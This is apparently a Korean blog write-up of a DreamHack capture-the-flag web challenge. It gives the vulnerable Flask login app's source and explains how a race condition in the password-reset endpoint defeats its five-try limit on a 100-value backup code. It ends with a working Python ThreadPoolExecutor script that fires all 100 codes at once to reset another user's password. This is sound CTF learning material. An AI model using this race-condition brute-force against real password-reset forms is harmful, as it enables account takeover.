admin권한을 가진 사용자로 로그인하면 되는 문제이다.
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for, session, g
import sqlite3
import hashlib
import os
import time, random
app = Flask(__name__)
app.secret_key = os.urandom(32)
DATABASE = "database.db"
userLevel = {
0 : 'guest',
1 : 'admin'
}
MAXRESETCOUNT = 5
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
def makeBackupcode():
return random.randrange(100)
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(DATABASE)
db.row_factory = sqlite3.Row
return db
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
@app.route('/')
def index():
return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
userid = request.form.get("userid")
password = request.form.get("password")
conn = get_db()
cur = conn.cursor()
user = cur.execute('SELECT * FROM user WHERE id = ? and pw = ?', (userid, hashlib.sha256(password.encode()).hexdigest() )).fetchone()
if user:
session['idx'] = user['idx']
session['userid'] = user['id']
session['name'] = user['name']
session['level'] = userLevel[user['level']]
return redirect(url_for('index'))
return "<script>alert('Wrong id/pw');history.back(-1);</script>";
@app.route('/logout')
def logout():
session.clear()
return redirect(url_for('index'))
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'GET':
return render_template('register.html')
else:
userid = request.form.get("userid")
password = request.form.get("password")
name = request.form.get("name")
conn = get_db()
cur = conn.cursor()
user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
if user:
return "<script>alert('Already Exists userid.');history.back(-1);</script>";
backupCode = makeBackupcode()
sql = "INSERT INTO user(id, pw, name, level, backupCode) VALUES (?, ?, ?, ?, ?)"
cur.execute(sql, (userid, hashlib.sha256(password.encode()).hexdigest(), name, 0, backupCode))
conn.commit()
return render_template("index.html", msg=f"<b>Register Success.</b><br/>Your BackupCode : {backupCode}")
@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
if request.method == 'GET':
return render_template('forgot.html')
else:
userid = request.form.get("userid")
newpassword = request.form.get("newpassword")
backupCode = request.form.get("backupCode", type=int)
conn = get_db()
cur = conn.cursor()
user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
if user:
# security for brute force Attack.
time.sleep(1)
if user['resetCount'] == MAXRESETCOUNT:
return "<script>alert('reset Count Exceed.');history.back(-1);</script>"
if user['backupCode'] == backupCode:
newbackupCode = makeBackupcode()
updateSQL = "UPDATE user set pw = ?, backupCode = ?, resetCount = 0 where idx = ?"
cur.execute(updateSQL, (hashlib.sha256(newpassword.encode()).hexdigest(), newbackupCode, str(user['idx'])))
msg = f"<b>Password Change Success.</b><br/>New BackupCode : {newbackupCode}"
else:
updateSQL = "UPDATE user set resetCount = resetCount+1 where idx = ?"
cur.execute(updateSQL, (str(user['idx'])))
msg = f"Wrong BackupCode !<br/><b>Left Count : </b> {(MAXRESETCOUNT-1)-user['resetCount']}"
conn.commit()
return render_template("index.html", msg=msg)
return "<script>alert('User Not Found.');history.back(-1);</script>";
@app.route('/user/<int:useridx>')
def users(useridx):
conn = get_db()
cur = conn.cursor()
user = cur.execute('SELECT * FROM user WHERE idx = ?;', [str(useridx)]).fetchone()
if user:
return render_template('user.html', user=user)
return "<script>alert('User Not Found.');history.back(-1);</script>";
@app.route('/admin')
def admin():
if session and (session['level'] == userLevel[1]):
return FLAG
return "Only Admin !"
app.run(host='0.0.0.0', port=8000)
먼저 소스코드를 보면은 전부 prepared statment로 작성되어 있어 SQL Injection은 불가능하다.
그나마 신경쓰이는 부분은 BruteForce attack을 막아놓은답시고 sleep(1)을 쓴 부분인데 백업코드 생성하는 함수를 보면 경우가 100가지 밖에 안되기 때문에 저걸 쓴다고 굳이 달라질 부분은 없을 것이다.
그러나 횟수 제한이 5번이라 브루트포스를 쓴다해도 운좋게 5번안에 때려맞추지 않는이상 힘들 것이다.
풀이는 세가지? 정도가 있다.
1. 레이스컨디션 공격
사실 세가지 다 레이스컨디션이긴 한데 문제를 처음봣을때 sleep(1)보고 레이스컨디션일것 같아서
크롬창 하나랑 시크릿모드 크롬 하나 띄워놓고 하나는 admin아이디 하나는 guest아이디로 세팅해두고
guest아이디 먼저 누르고 admin아이디 클릭하면 admin은 통과될 것 같아서 그렇게 해봣는데?
잘 안됐다..
그런데 이걸 하고나니 admin계정의 forgot_password를 실행할때마다 500이떠서
혹시하고 500이 안뜨는 백업코드를 찾았는데 특정 백업코드일땐 200이떠서 이걸로 풀었다.
2. 연속클릭
젤 간단한 방법이다.
sleep(1)동안 forgot_password창에서 클릭을 여러번 해주면 resetCount가 5를 넘어가면서 남은 횟수가 -가 된다.
이걸로 걍 브루트포스 할 수 있다.
3. ThreadPool
사실상 이거 소개할려고 이글 쓴거다.
이건 다풀고 풀이보다가 찾은건데 아얘 1초만에 100가지 수 다 어택때려버려서 찾는 코드이다.
이건 좀유용할것 같아서 소스코드 여기에 올려두고 나중에 비슷한 문제 나오면 써야겠다.
import requests
from concurrent.futures import ThreadPoolExecutor
def post_url(args):
return requests.post(args[0], data=args[1])
HOST = 'http://host3.dreamhack.games:18516/'
SUCCESS='Password Change Success.'
list_of_urls=[]
for i in range(100):
data= {'userid': 'Apple', 'newpassword': '1234', 'backupCode': str(i)}
list_of_urls+=[(f'{HOST}/forgot_password', data)]
with ThreadPoolExecutor(max_workers=100) as pool:
response_list=list(pool.map(post_url,list_of_urls))
#for response in response_list:
# print(response)
'Web Hacking > DreamHack' 카테고리의 다른 글
[DreamHack] CSRF Advanced (0) | 2024.07.18 |
---|---|
[DreamHack] CSP Bypass Advanced + [Webhacking.kr] BABY (0) | 2024.07.17 |
[DreamHack] Simple Login (0) | 2024.07.08 |
[DreamHack] Login Page 풀이 (0) | 2024.05.04 |
[DreamHack] CSS Injection 풀이 (0) | 2024.05.03 |